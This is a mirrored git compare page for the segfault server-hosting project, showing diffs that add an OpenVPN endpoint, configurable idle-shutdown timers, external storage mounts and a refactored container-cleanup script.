mirror of
https://github.com/hackerschoice/segfault.git
synced 2024-06-16 11:58:43 +00:00
Compare commits
26 Commits
5403418b90
...
a27b034527
Author | SHA1 | Date | |
---|---|---|---|
|
a27b034527 | ||
|
36c605ef6f | ||
|
ecd3350dc2 | ||
|
9ecaff59ff | ||
|
f30e540931 | ||
|
abe588221e | ||
|
44f0018fff | ||
|
fc10201e80 | ||
|
9982829b2a | ||
|
4545ba6b80 | ||
|
bfc387d607 | ||
|
91af93ddf4 | ||
|
74f782184c | ||
|
f7c740d1d1 | ||
|
63a66a9c12 | ||
|
a8fec68c59 | ||
|
2dc1fa9e05 | ||
|
af3a6d04a8 | ||
|
e66a2806f2 | ||
|
9aab6597fa | ||
|
0a00127f5c | ||
|
41bbf128b6 | ||
|
214304494c | ||
|
e0bef1c6f6 | ||
|
7c90b3265b | ||
|
a5d69d5fe2 |
31
.github/workflows/deploy-push.yaml
vendored
Normal file
31
.github/workflows/deploy-push.yaml
vendored
Normal file
@ -0,0 +1,31 @@
|
||||
name: Auto upload sfwg[*|.ps1] to thc.org/sfwg*
|
||||
on:
|
||||
push:
|
||||
branches:
|
||||
- master
|
||||
paths:
|
||||
- contrib/sfwg.ps1
|
||||
- contrib/sfwg
|
||||
workflow_dispatch:
|
||||
|
||||
jobs:
|
||||
build:
|
||||
name: Deploy to WWW
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- uses: actions/checkout@v3
|
||||
- name: sfwg to https://thc.org/
|
||||
env:
|
||||
SSH_DEPLOY_KEY: ${{ secrets.SSH_DEPLOY_KEY }}
|
||||
run: |
|
||||
cp contrib/sfwg contrib/sfwg.ps1 /tmp/
|
||||
mkdir ~/.ssh && echo "$SSH_DEPLOY_KEY" >~/.ssh/id_ed25519 && chmod 600 ~/.ssh/id_ed25519
|
||||
cd /tmp/
|
||||
git clone -b gh-pages --single-branch git@github.com:hackerschoice/hackerschoice.github.io.git
|
||||
cd hackerschoice.github.io
|
||||
cat /tmp/sfwg >sfwg
|
||||
cat /tmp/sfwg.ps1 >sfwg.ps1
|
||||
git config --local user.name "GitHub Action"
|
||||
git config --local user.email "root@proton.thc.org"
|
||||
git add sfwg sfwg.ps1 && git commit -m "deploy sfwg" && git push
|
||||
|
15
ChangeLog
15
ChangeLog
@ -1,4 +1,17 @@
|
||||
0.5.0 - 2023-11-00
|
||||
0.5.4 - 2023-02-00
|
||||
* OpenSSH 9.6p1
|
||||
* rshell
|
||||
* sploitscan
|
||||
* OpenVPN (curl sf/ovpn)
|
||||
* Different auto-shutdown timers for FREE and TOKEN users
|
||||
* Syscop login message after auto-shutdown
|
||||
|
||||
0.5.2 - 2023-12-00
|
||||
* Kali 2023.4
|
||||
* SSHD Banner
|
||||
|
||||
0.5.0 - 2023-11-29
|
||||
* Configurable access to external storage (SF_USER_FS_EXT=)
|
||||
* Configurable access to /dev/kvm
|
||||
* Reverse Port via curl sf/port
|
||||
* Token via curl sf/set -dtoken=<NAME>
|
||||
|
12
Makefile
12
Makefile
@ -1,4 +1,4 @@
|
||||
VER := 0.5.0rc1
|
||||
VER := 0.5.4rc1
|
||||
|
||||
all:
|
||||
make -C router
|
||||
@ -48,11 +48,15 @@ FILES_GUEST += "segfault-$(VER)/guest/fs-root/sf/bin/geoip"
|
||||
FILES_GUEST += "segfault-$(VER)/guest/fs-root/sf/bin/geoiphn"
|
||||
FILES_GUEST += "segfault-$(VER)/guest/fs-root/sf/bin/gssec"
|
||||
FILES_GUEST += "segfault-$(VER)/guest/fs-root/sf/bin/gsexec"
|
||||
FILES_GUEST += "segfault-$(VER)/guest/fs-root/sf/bin/gsexecio"
|
||||
FILES_GUEST += "segfault-$(VER)/guest/fs-root/sf/bin/d"
|
||||
FILES_GUEST += "segfault-$(VER)/guest/fs-root/sf/bin/str2mnemonic"
|
||||
FILES_GUEST += "segfault-$(VER)/guest/fs-root/sf/bin/thcssh"
|
||||
FILES_GUEST += "segfault-$(VER)/guest/fs-root/sf/bin/transfer"
|
||||
FILES_GUEST += "segfault-$(VER)/guest/fs-root/sf/bin/asn"
|
||||
FILES_GUEST += "segfault-$(VER)/guest/fs-root/sf/bin/sshj"
|
||||
FILES_GUEST += "segfault-$(VER)/guest/fs-root/sf/bin/shred"
|
||||
FILES_GUEST += "segfault-$(VER)/guest/fs-root/sf/bin/rshell"
|
||||
FILES_GUEST += "segfault-$(VER)/guest/fs-root/sf/bin/pkg-install.sh"
|
||||
FILES_GUEST += "segfault-$(VER)/guest/fs-root/etc/rc.local-example"
|
||||
FILES_GUEST += "segfault-$(VER)/guest/fs-root/etc/vim/vimrc.local"
|
||||
@ -115,6 +119,7 @@ FILES_PROVISION += "segfault-$(VER)/provision/update.sh"
|
||||
FILES_ENCFSD += "segfault-$(VER)/encfsd/Makefile"
|
||||
FILES_ENCFSD += "segfault-$(VER)/encfsd/Dockerfile"
|
||||
FILES_ENCFSD += "segfault-$(VER)/encfsd/destructor.sh"
|
||||
FILES_ENCFSD += "segfault-$(VER)/encfsd/funcs_destructor.sh"
|
||||
FILES_ENCFSD += "segfault-$(VER)/encfsd/encfsd.sh"
|
||||
FILES_ENCFSD += "segfault-$(VER)/encfsd/portd.sh"
|
||||
|
||||
@ -133,6 +138,7 @@ FILES_GSNC += "segfault-$(VER)/gsnc/sf-gsnc.sh"
|
||||
FILES_CONFIG += "segfault-$(VER)/config/etc/nginx/nginx.conf"
|
||||
FILES_CONFIG += "segfault-$(VER)/config/etc/nginx/nginx-rpc.conf"
|
||||
FILES_CONFIG += "segfault-$(VER)/config/etc/sf/sf.conf"
|
||||
FILES_CONFIG += "segfault-$(VER)/config/etc/sf/timers.conf"
|
||||
FILES_CONFIG += "segfault-$(VER)/config/etc/redis/redis.conf"
|
||||
FILES_CONFIG += "segfault-$(VER)/config/etc/sf/WARNING---SHARED-BETWEEN-ALL-SERVERS---README.txt"
|
||||
FILES_CONFIG += "segfault-$(VER)/config/etc/resolv.conf"
|
||||
@ -140,6 +146,7 @@ FILES_CONFIG += "segfault-$(VER)/config/etc/loginmsg-new.sh-example"
|
||||
FILES_CONFIG += "segfault-$(VER)/config/etc/loginmsg-all.sh-example"
|
||||
FILES_CONFIG += "segfault-$(VER)/config/etc/logoutmsg-all.sh-example"
|
||||
FILES_CONFIG += "segfault-$(VER)/config/etc/logpipe/config.yaml"
|
||||
FILES_CONFIG += "segfault-$(VER)/config/etc/ssh/banner_example"
|
||||
|
||||
FILES_ROOT += "segfault-$(VER)/Makefile"
|
||||
FILES_ROOT += "segfault-$(VER)/ChangeLog"
|
||||
@ -151,7 +158,10 @@ FILES_ROOT += "segfault-$(VER)/sfbin/funcs.sh"
|
||||
FILES_ROOT += "segfault-$(VER)/sfbin/funcs_redis.sh"
|
||||
FILES_ROOT += "segfault-$(VER)/sfbin/funcs_admin.sh"
|
||||
FILES_ROOT += "segfault-$(VER)/sfbin/funcs_net.sh"
|
||||
FILES_ROOT += "segfault-$(VER)/sfbin/funcs_ovpn.sh"
|
||||
FILES_ROOT += "segfault-$(VER)/sfbin/ovpn_up.sh"
|
||||
FILES_ROOT += "segfault-$(VER)/sfbin/sf"
|
||||
FILES_ROOT += "segfault-$(VER)/sfbin/banhammer.sh"
|
||||
|
||||
FILES_CLEANER += "segfault-$(VER)/tools/cg/Dockerfile"
|
||||
FILES_CLEANER += "segfault-$(VER)/tools/cg/go.mod"
|
||||
|
@ -69,12 +69,15 @@ http {
|
||||
gzip off;
|
||||
|
||||
location / {
|
||||
try_files $uri $uri/ = 404;
|
||||
rewrite /net /net/;
|
||||
rewrite /wg /wg/;
|
||||
rewrite /dmesg /dmesg/;
|
||||
rewrite /port /port/;
|
||||
rewrite /set /set/;
|
||||
#try_files $uri $uri/ = 404;
|
||||
rewrite ^/net$ /net/ last;
|
||||
rewrite ^/ovpn$ /ovpn/ last;
|
||||
rewrite ^/vpn$ /ovpn/ last;
|
||||
rewrite ^/wg$ /wg/ last;
|
||||
rewrite ^/dmesg$ /dmesg/ last;
|
||||
rewrite ^/port$ /port/ last;
|
||||
rewrite ^/set$ /set/ last;
|
||||
rewrite ^/vpn/(.*)$ /ovpn/$1 last;
|
||||
|
||||
location ~* ^/set/.* {
|
||||
fastcgi_param REMOTE_ADDR $remote_addr;
|
||||
@ -100,6 +103,14 @@ http {
|
||||
fastcgi_param SCRIPT_FILENAME /cgi-bin/rpc;
|
||||
fastcgi_pass unix:/dev/shm/sf/master/fcgiwrap.socket;
|
||||
}
|
||||
location ~* ^/ovpn/.* {
|
||||
fastcgi_param REMOTE_ADDR $remote_addr;
|
||||
fastcgi_param REQUEST_URI $request_uri;
|
||||
fastcgi_param REQUEST_BODY $request_body;
|
||||
fastcgi_param FCGI_CMD ovpn;
|
||||
fastcgi_param SCRIPT_FILENAME /cgi-bin/rpc;
|
||||
fastcgi_pass unix:/dev/shm/sf/master/fcgiwrap.socket;
|
||||
}
|
||||
location ~* ^/wg/.* {
|
||||
fastcgi_param REMOTE_ADDR $remote_addr;
|
||||
fastcgi_param REQUEST_URI $request_uri;
|
||||
|
@ -45,9 +45,18 @@
|
||||
#SF_USER_FS_SIZE= # =128m, xfs only, Not set=unlimited
|
||||
#SF_USER_FS_INODE= # =16384, xfs only, Not set=unlimited
|
||||
|
||||
#SF_USER_FS_EXT= # Mount /sf/data/ext/NAME to /DST, Example ="foobar:/nonsec:ro"
|
||||
# You may want to add a quota to any external share:
|
||||
# 1. Pick a new prjid below 1,000,000
|
||||
# xfs_quota -x -c 'report /sf/data'
|
||||
# 2. Add PrjId and quota:
|
||||
# xfs_quota -x -c 'project -s -p /sf/data/ext/foobar 9999999'
|
||||
# docker exec sf-encfsd xfs_quota -x -c 'limit -p ihard=16777216 bhard=512g 9999999'
|
||||
|
||||
#SF_USER_DEV_KVM= # =1 to allow access to /dev/kvm (Warning: User can DoS PHY)
|
||||
#SF_ALLOW_SRC_TOR= # =1 to allow connections from TOR
|
||||
#SF_USER_IMMUNE= # =1 to not ban user by lgban
|
||||
#SF_USER_ALLOW_IP= # =any to ingore IP ban (use in limits.conf)
|
||||
|
||||
# Limit to 8 concurrently running servers per IP
|
||||
#SF_LIMIT_SERVER_BY_IP=8
|
||||
|
6
config/etc/sf/timers.conf
Normal file
6
config/etc/sf/timers.conf
Normal file
@ -0,0 +1,6 @@
|
||||
#SF_TIMEOUT_WITH_SHELL=$((60 * 60 * 36))
|
||||
#SF_TIMEOUT_NO_SHELL=$((60 * 60 * 1))
|
||||
#SF_TIMEOUT_TOKEN_WITH_SHELL=$((60 * 60 * 24 * 7))
|
||||
#SF_TIMEOUT_TOKEN_NO_SHELL=$((60 * 60 * 36))
|
||||
|
||||
|
2
config/etc/ssh/banner_example
Normal file
2
config/etc/ssh/banner_example
Normal file
@ -0,0 +1,2 @@
|
||||
# Rename this file to banner and remove this line
|
||||
https://thc.org/abuse
|
@ -12,7 +12,7 @@ while [[ $i -gt 0 ]]; do
|
||||
((i--))
|
||||
h="${HOSTS[$i]}"
|
||||
echo "#${i} Syncing ${h} DOWN"
|
||||
rsync -ral "${h}":/sf/config/db/banned "${h}":/sf/config/db/token "${h}":/sf/config/db/limits .
|
||||
rsync -ral "${h}":/sf/config/db/banned "${h}":/sf/config/db/private "${h}":/sf/config/db/token "${h}":/sf/config/db/limits .
|
||||
done
|
||||
|
||||
echo "==[DOWN done. Press Enter to start UP]=================================================="
|
||||
@ -20,6 +20,6 @@ read
|
||||
i=0
|
||||
for h in "${HOSTS[@]}"; do
|
||||
echo "#$i Syncing ${h} UP"
|
||||
rsync -ral banned token limits "${h}":'/sf/config/db'
|
||||
rsync -ral banned private token limits "${h}":'/sf/config/db'
|
||||
((i++))
|
||||
done
|
||||
|
@ -209,7 +209,7 @@ wg_up()
|
||||
[[ $(sysctl -n net.ipv4.ip_forward) -eq 0 ]] && sysctl -q -w net.ipv4.ip_forward=1
|
||||
[[ $(sysctl -n net.ipv6.conf.all.forwarding) -eq 0 ]] && sysctl -q -w net.ipv6.conf.all.forwarding=1
|
||||
|
||||
ip link del "${WG_DEV}" &>/dev/null
|
||||
ip link del "${WG_DEV:?}" &>/dev/null
|
||||
ip link add "${WG_DEV}" type wireguard || return 255
|
||||
|
||||
fn="/dev/shm/private.$$"
|
||||
|
@ -89,13 +89,13 @@ function Is-Administrator
|
||||
|
||||
function Get-Latest-Release
|
||||
{
|
||||
$WT_PACKAGE="wiretap_0.3.1_windows_amd64.zip"
|
||||
$WT_PACKAGE="windows_amd64.zip"
|
||||
Switch ($Env:PROCESSOR_ARCHITECTURE)
|
||||
{
|
||||
"x86" {$WT_PACKAGE="wiretap_0.3.1_windows_386.zip"}
|
||||
"AMD64" {$WT_PACKAGE="wiretap_0.3.1_windows_amd64.zip"}
|
||||
"ARM64" {$WT_PACKAGE="wiretap_0.3.1_windows_arm64.zip"}
|
||||
"ARM" {$WT_PACKAGE="wiretap_0.3.1_windows_arm64.zip"}
|
||||
"x86" {$WT_PACKAGE="windows_386.zip"}
|
||||
"AMD64" {$WT_PACKAGE="windows_amd64.zip"}
|
||||
"ARM64" {$WT_PACKAGE="windows_arm64.zip"}
|
||||
"ARM" {$WT_PACKAGE="windows_arm64.zip"}
|
||||
default {Print-Fatal "Unsupported Windows architecture!"}
|
||||
}
|
||||
Print-Debug "$WT_PACKAGE"
|
||||
|
@ -40,7 +40,7 @@ services:
|
||||
devices:
|
||||
- "/dev/fuse:/dev/fuse"
|
||||
volumes:
|
||||
- "${SF_BASEDIR:-.}/config/db:/config/db:ro"
|
||||
- "${SF_BASEDIR:-.}/config/db:/config/db:rw"
|
||||
- "${SF_BASEDIR:-.}/config/etc/sf:/config/etc/sf:ro"
|
||||
- "${SF_BASEDIR:-.}/data:/encfs/raw"
|
||||
- "${SF_SHMDIR:-/dev/shm/sf}/encfs-sec:/encfs/sec:shared"
|
||||
@ -76,6 +76,7 @@ services:
|
||||
- "/dev/fuse:/dev/fuse"
|
||||
volumes:
|
||||
- "${SF_BASEDIR:-.}/config/db:/config/db:ro"
|
||||
- "${SF_BASEDIR:-.}/config/etc/sf:/config/etc/sf:ro"
|
||||
- "${SF_BASEDIR:-.}/data:/encfs/raw"
|
||||
- "${SF_SHMDIR:-/dev/shm/sf}/self-for-guest:/config/self-for-guest"
|
||||
- "${SF_SHMDIR:-/dev/shm/sf}/encfs-sec:/encfs/sec:shared"
|
||||
@ -445,11 +446,14 @@ services:
|
||||
depends_on:
|
||||
- sf-redis
|
||||
network_mode: none
|
||||
dns: ${SF_NET_VPN_DNS_IP}
|
||||
cap_add:
|
||||
- NET_ADMIN
|
||||
- SYS_ADMIN # For nsenter
|
||||
- SYSLOG # For dmesg
|
||||
pid: "host" # For nsenter
|
||||
devices:
|
||||
- "/dev/net/tun:/dev/net/tun"
|
||||
environment:
|
||||
- SF_DEBUG
|
||||
- SF_FQDN=${SF_FQDN:-SF_FQDN-NOT-SET.hack.segfault.net}
|
||||
@ -457,17 +461,20 @@ services:
|
||||
- SF_REDIS_AUTH=${SF_REDIS_AUTH}
|
||||
- SF_RPC_IP=${SF_RPC_IP:?}
|
||||
- SF_TOR_IP=${SF_TOR_IP:?}
|
||||
- SF_NET_ONION=${SF_NET_ONION:?}
|
||||
- WG_IPS=${SF_WG_IPS:-172.16.0.x/16,fd:16::x/104}
|
||||
- SF_MULLVAD_ROUTE=${SF_MULLVAD_ROUTE:?}
|
||||
- SF_DNS=${SF_NET_VPN_DNS_IP}
|
||||
- SF_NET_LG_ROUTER_IP=${SF_NET_LG_ROUTER_IP:?}
|
||||
- SF_HOST_MTU=${SF_HOST_MTU:-1500}
|
||||
- SF_GUEST_MTU=${SF_GUEST_MTU:-1420}
|
||||
volumes:
|
||||
- "${SF_SHMDIR:-/dev/shm/sf}:/dev/shm/sf"
|
||||
- "${SF_BASEDIR:-.}/config/db:/config/db"
|
||||
- "${SF_SHMDIR:-/dev/shm/sf}/run/redis/sock:/redis-sock"
|
||||
- "${SF_BASEDIR:-.}/config/etc/sf:/config/host/etc/sf:ro"
|
||||
- "${SF_BASEDIR:-.}/sfbin:/sf/bin:ro"
|
||||
# - "/research/segfault/sfbin:/sf/bin:ro" # FIXME-2022
|
||||
- "/var/run/docker.sock:/var/run/docker.sock"
|
||||
# - /research/segfault/master/cgi-bin:/cgi-bin:ro # FIXME-2022
|
||||
entrypoint: ["/init-master.sh"]
|
||||
@ -646,6 +653,7 @@ services:
|
||||
volumes:
|
||||
- "${SF_BASEDIR:-.}/config:/config/host"
|
||||
- "${SF_BASEDIR:-.}/data/share:/sf/share:ro"
|
||||
- "${SF_BASEDIR:-.}/data/ext:/sf/ext:ro"
|
||||
- "${SF_BASEDIR:-.}/sfbin:/sf/bin:ro"
|
||||
- "${SF_SHMDIR:-/dev/shm/sf}/run:/sf/run"
|
||||
- "${SF_SHMDIR:-/dev/shm/sf}/encfs-sec/www-root:/sec/www-root:slave"
|
||||
@ -654,7 +662,7 @@ services:
|
||||
- "/var/run/docker.sock:/var/run/docker.sock"
|
||||
- "/var/lib/lxcfs:/var/lib/lxcfs:ro"
|
||||
- "${SF_SHMDIR:-/dev/shm/sf}/run/redis/sock:/redis-sock"
|
||||
#- /research/segfault/host/fs-root/bin/segfaultsh:/bin/segfaultsh:ro # FIXME-TESTING
|
||||
# - /research/segfault/host/fs-root/bin/segfaultsh:/bin/segfaultsh:ro # FIXME-TESTING
|
||||
# - /research/segfault/host:/host:ro # FIXME-TESTING sshd debug
|
||||
|
||||
nginx:
|
||||
|
@ -9,4 +9,4 @@ RUN apk add --no-cache --upgrade \
|
||||
encfs \
|
||||
redis \
|
||||
xfsprogs-extra
|
||||
COPY destructor.sh encfsd.sh portd.sh /
|
||||
COPY destructor.sh funcs_destructor.sh encfsd.sh portd.sh /
|
||||
|
@ -4,144 +4,27 @@
|
||||
source /sf/bin/funcs.sh
|
||||
source /sf/bin/funcs_redis.sh
|
||||
|
||||
SF_TIMEOUT_WITH_SHELL=604800
|
||||
SF_TIMEOUT_NO_SHELL=129600
|
||||
# Defaults
|
||||
SF_TIMEOUT_WITH_SHELL=$((60 * 60 * 36))
|
||||
SF_TIMEOUT_NO_SHELL=$((60 * 60 * 1))
|
||||
SF_TIMEOUT_TOKEN_WITH_SHELL=$((60 * 60 * 24 * 7))
|
||||
SF_TIMEOUT_TOKEN_NO_SHELL=$((60 * 60 * 36))
|
||||
[[ -n $SF_DEBUG ]] && {
|
||||
SF_TIMEOUT_WITH_SHELL=180
|
||||
SF_TIMEOUT_NO_SHELL=120
|
||||
}
|
||||
|
||||
# [LID] <1=encfs> <1=Container> <message>
|
||||
# Either parameter can be "" to not stop encfs or lg-container
|
||||
stop_lg()
|
||||
{
|
||||
local is_encfs
|
||||
local is_container
|
||||
local lid
|
||||
local ts_born
|
||||
lid="$1"
|
||||
ts_born="$2"
|
||||
is_encfs="$3"
|
||||
is_container="$4"
|
||||
|
||||
LOG "$lid" "Stopping [$((NOW - ts_born)) sec]. $5"
|
||||
|
||||
red RPUSH portd:cmd "remport ${lid}" >/dev/null
|
||||
rm -f "/sf/run/encfsd/user/lg-${lid}"
|
||||
rm -f "/sf/run/pids/lg-${lid}.pid"
|
||||
rm -f "/sf/run/ips/lg-${lid}.ip"
|
||||
rm -rf "/config/self-for-guest/lg-${lid}"
|
||||
rm -rf "/sf/run/users/lg-${lid}"
|
||||
|
||||
# Tear down container
|
||||
[[ -n $is_container ]] && docker stop "lg-$lid" &>/dev/nuill
|
||||
|
||||
# Odd: On cgroup2 the command 'docker top lg-*' shows that encfs is running
|
||||
# inside the container even that we never moved it into the container's
|
||||
# Process Namespace. EncFS will also die when the lg- is shut down.
|
||||
# This is only neede for cgroup1:
|
||||
[[ -n $is_encfs ]] && {
|
||||
pkill -SIGTERM -f "^\[encfs-${lid}\]" 2>/dev/null
|
||||
# Give kernel time to unmount mountpoint
|
||||
sleep 1
|
||||
}
|
||||
# Do not use 'rm -rf' here as this might still be a mounted drive
|
||||
# when encfsd is not killed fast enough (failing to delete is acceptable).
|
||||
rm -f "/encfs/sec/lg-${lid}/THIS-DIRECTORY-IS-NOT-ENCRYPTED--DO-NOT-USE.txt"
|
||||
rmdir "/encfs/sec/lg-${lid}"
|
||||
}
|
||||
|
||||
# [lg-$LID]
|
||||
# Check if lg- is running and
|
||||
# 1. EncFS died
|
||||
# 2. Container should be stopped (stale, idle)
|
||||
check_container()
|
||||
{
|
||||
local c
|
||||
local lid
|
||||
local i
|
||||
local IFS
|
||||
local fn
|
||||
local comm
|
||||
local ts_logout
|
||||
local ts_born
|
||||
IFS=$'\n'
|
||||
|
||||
c="$1"
|
||||
lid="${c#lg-}"
|
||||
|
||||
[[ ${#lid} -ne 10 ]] && return
|
||||
|
||||
ts_born=$(stat -c %Y "/sf/run/encfsd/user/lg-${lid}") || { ERR "[${CDM}${lid}${CN}] run/encfsd/user/lg-* missing?"; return; }
|
||||
# Skip if EncFS only started recently (zsh not yet started).
|
||||
[[ $((NOW - ts_born)) -lt 20 ]] && return 0
|
||||
|
||||
# Check if EncFS is still running.
|
||||
pgrep -f "^\[encfs-${lid}\]" &>/dev/null || {
|
||||
# NOTE: On CGROUPv2 the encfs dies when the lg container stops (user called 'halt' or 'docker stop')
|
||||
stop_lg "$lid" "${ts_born}" "" "lg" "EncFS died..."
|
||||
return
|
||||
}
|
||||
|
||||
# ts_logout may not exist (stale)
|
||||
ts_logout=0
|
||||
fn="/config/db/user/lg-${lid}/ts_logout"
|
||||
[[ -f "$fn" ]] && ts_logout=$(stat -c %Y "$fn")
|
||||
|
||||
# Check if there is still a shell running inside the container:
|
||||
IFS=""
|
||||
set -o pipefail
|
||||
comm=$(docker top "lg-${lid}" -eo pid,comm 2>/dev/null | tail +2 | awk '{print $2;}') || {
|
||||
# HERE: lg died or top failed.
|
||||
set +o pipefail
|
||||
stop_lg "${lid}" "${ts_born}" "encfs" "lg" "LG no longer running."
|
||||
return
|
||||
}
|
||||
set +o pipefail
|
||||
# Note: We must set 'set +o pipefail' (e.g. fail only if last command errors). Otherwise the rare
|
||||
# condition can happen where grep exits (first match found) but 'echo' is still writing. Then echo
|
||||
# will receive a SIGPIPE and exit with 141 and the entire pipe will fail.
|
||||
|
||||
# [[ -f "/config/db/user/lg-${lid}/is_logged_in" ]] && return
|
||||
# FIXME: many stale is_logged_in exists without ssh connected ;/
|
||||
|
||||
# HERE: LG & EncFS are running.
|
||||
echo "$comm" | grep -m1 -E '(^zsh$|^bash$|^sh$|^sftp-server$)' >/dev/null && {
|
||||
# HERE: User still has shell running
|
||||
[[ -f "/config/db/user/lg-${lid}/is_logged_in" ]] && return
|
||||
[[ $((NOW - ts_logout)) -lt ${SF_TIMEOUT_WITH_SHELL} ]] && return
|
||||
# HERE: Not logged in. logged out more than 1 week ago.
|
||||
|
||||
stop_lg "${lid}" "${ts_born}" "encfs" "lg" "Not logged in for $((NOW - ts_logout))sec (shell running)."
|
||||
return
|
||||
}
|
||||
# HERE: No shell running, ts_logout=0 if never logged out
|
||||
|
||||
# Skip if only recently logged out.
|
||||
[[ $((NOW - ts_logout)) -lt 60 ]] && return # Recently logged out.
|
||||
|
||||
# Filter out stale processes
|
||||
echo "$comm" | grep -m1 -v -E '(^docker-init$|^sleep$|^encfs$|^gpg-agent$)' >/dev/null || {
|
||||
# HERE: Nothing running but stale processes
|
||||
stop_lg "${lid}" "${ts_born}" "encfs" "lg" "No processes running."
|
||||
return
|
||||
}
|
||||
# HERE: Something running (but no shell, and no known processes)
|
||||
|
||||
[[ $((NOW - ts_logout)) -ge ${SF_TIMEOUT_NO_SHELL} ]] && {
|
||||
# User logged out 1.5 days ago. No shell. No known processes.
|
||||
stop_lg "${lid}" "${ts_born}" "encfs" "lg" "Not logged in for ${SF_TIMEOUT_NO_SHELL}sec (no shell running)."
|
||||
return
|
||||
}
|
||||
|
||||
# HERE: No shell. No known processes. Less than 1.5 days ago.
|
||||
SF_TIMEOUT_WITH_SHELL=60
|
||||
SF_TIMEOUT_NO_SHELL=15
|
||||
SF_TIMEOUT_TOKEN_WITH_SHELL=120
|
||||
SF_TIMEOUT_TOKEN_NO_SHELL=90
|
||||
}
|
||||
|
||||
[[ ! -S /var/run/docker.sock ]] && ERREXIT 255 "Not found: /var/run/docker.sock"
|
||||
source /funcs_destructor.sh || ERREXIT 255
|
||||
|
||||
export REDISCLI_AUTH="${SF_REDIS_AUTH}"
|
||||
|
||||
while :; do
|
||||
sleep 30
|
||||
source /config/etc/sf/timers.conf 2>/dev/null
|
||||
source /funcs_destructor.sh 2>/dev/null
|
||||
NOW=$(date +%s)
|
||||
# Every 30 seconds check all container we are tracking (from encfsd)
|
||||
containers=($(cd /sf/run/encfsd/user && echo lg-*))
|
||||
|
@ -130,6 +130,7 @@ load_limits()
|
||||
unset SF_USER_FS_INODE
|
||||
unset SF_USER_ROOT_FS_SIZE
|
||||
unset SF_USER_ROOT_FS_INODE
|
||||
unset SF_HOSTNAME
|
||||
|
||||
source "/sf/run/users/lg-${lid}/limits.txt"
|
||||
}
|
||||
@ -208,9 +209,9 @@ cmd_user_mount()
|
||||
# HERE: Not yet mounted.
|
||||
# Set XFS limits
|
||||
load_limits "${lid}"
|
||||
[[ -n $SF_USER_FS_INODE ]] || [[ -n $SF_USER_FS_SIZE ]] && {
|
||||
[[ -z $SF_HOSTNAME ]] && { SF_HOSTNAME=$(<"/config/db/user/lg-${lid}/hostname") || return 255; }
|
||||
[[ -n $SF_USER_FS_SIZE ]] && {
|
||||
SF_NUM=$(<"/config/db/user/lg-${lid}/num") || return 255
|
||||
SF_HOSTNAME=$(<"/config/db/user/lg-${lid}/hostname") || return 255
|
||||
prjid=$((SF_NUM + 10000000))
|
||||
DEBUGF "SF_NUM=${SF_NUM}, prjid=${prjid}, SF_HOSTNAME=${SF_HOSTNAME}, INODE=${SF_USER_FS_INODE}, SIZE=${SF_USER_FS_SIZE}"
|
||||
err=$(xfs_quota -x -c "limit -p ihard=${SF_USER_FS_INODE:-16384} bhard=${SF_USER_FS_SIZE:-128m} ${prjid}" 2>&1) || { ERR "XFS-QUOTA: \n'$err'"; return 255; }
|
||||
@ -228,8 +229,8 @@ cmd_user_mount()
|
||||
|
||||
# Extend same project quota to /onion and /everyone/SF_HOSTNAME
|
||||
[[ -n $prjid ]] && {
|
||||
xfs_quota_sub "${prjid}" "${BASE_RAWDIR_EVR}" "/encfs/sec/everyone-root/everyone/${SF_HOSTNAME:?}"
|
||||
xfs_quota_sub "${prjid}" "${BASE_RAWDIR_WWW}" "/encfs/sec/www-root/www/${SF_HOSTNAME,,}"
|
||||
xfs_quota_sub "${prjid}" "${BASE_RAWDIR_EVR}" "/encfs/sec/everyone-root/everyone/${SF_HOSTNAME}"
|
||||
}
|
||||
|
||||
# Mark as mounted (for destructor to track)
|
||||
|
153
encfsd/funcs_destructor.sh
Executable file
153
encfsd/funcs_destructor.sh
Executable file
@ -0,0 +1,153 @@
|
||||
|
||||
# [LID] <1=encfs> <1=Container> <message>
|
||||
# Either parameter can be "" to not stop encfs or lg-container
|
||||
stop_lg()
|
||||
{
|
||||
local is_encfs
|
||||
local is_container
|
||||
local lid
|
||||
local ts_born
|
||||
lid="$1"
|
||||
ts_born="$2"
|
||||
is_encfs="$3"
|
||||
is_container="$4"
|
||||
|
||||
LOG "$lid" "Stopping [$((NOW - ts_born)) sec]. $5"
|
||||
|
||||
red RPUSH portd:cmd "remport ${lid}" >/dev/null
|
||||
rm -f "/sf/run/encfsd/user/lg-${lid}"
|
||||
rm -f "/sf/run/pids/lg-${lid}.pid"
|
||||
rm -f "/sf/run/ips/lg-${lid}.ip"
|
||||
rm -rf "/config/self-for-guest/lg-${lid}"
|
||||
rm -rf "/sf/run/users/lg-${lid}"
|
||||
|
||||
# Kill the OpenVPN process (if running)
|
||||
docker exec sf-master killall "openvpn-$lid" 2>/dev/null
|
||||
docker exec sf-master rm -rf "/tmp/lg-$lid" 2>/dev/null
|
||||
|
||||
# Tear down container
|
||||
[[ -n $is_container ]] && docker stop "lg-$lid" &>/dev/nuill
|
||||
|
||||
# Odd: On cgroup2 the command 'docker top lg-*' shows that encfs is running
|
||||
# inside the container even that we never moved it into the container's
|
||||
# Process Namespace. EncFS will also die when the lg- is shut down.
|
||||
# This is only neede for cgroup1:
|
||||
[[ -n $is_encfs ]] && {
|
||||
pkill -SIGTERM -f "^\[encfs-${lid}\]" 2>/dev/null
|
||||
# Give kernel time to unmount mountpoint
|
||||
sleep 1
|
||||
}
|
||||
# Do not use 'rm -rf' here as this might still be a mounted drive
|
||||
# when encfsd is not killed fast enough (failing to delete is acceptable).
|
||||
rm -f "/encfs/sec/lg-${lid}/THIS-DIRECTORY-IS-NOT-ENCRYPTED--DO-NOT-USE.txt"
|
||||
rmdir "/encfs/sec/lg-${lid}"
|
||||
}
|
||||
|
||||
try_syscop_msg() {
|
||||
local lid="$1"
|
||||
echo -en "\
|
||||
🤷♂️ ${CDM}Your server shut down automatically because you did not log in for $(( (NOW - ts_logout) / 60 / 60 )) h.
|
||||
🫵 Please type ${CDC}halt${CDM} to stop your server or...
|
||||
❤️ ...get a ${CM}TOKEN${CDM} to stop this message: ${CUL}${CB}https://thc.org/sf/token${CN}${CDM}
|
||||
|
||||
🌈 ${CW}Yours sincerely, The SysCops 😘 ${CN}
|
||||
">"/config/db/user/lg-${lid:?}/syscop-msg.txt"
|
||||
}
|
||||
|
||||
# [lg-$LID]
|
||||
# Check if lg- is running and
|
||||
# 1. EncFS died
|
||||
# 2. Container should be stopped (stale, idle)
|
||||
check_container()
|
||||
{
|
||||
local c
|
||||
local lid
|
||||
local IFS=$'\n'
|
||||
local fn
|
||||
local comm
|
||||
local ts_logout
|
||||
local ts_born
|
||||
local to_with_shell=$SF_TIMEOUT_WITH_SHELL
|
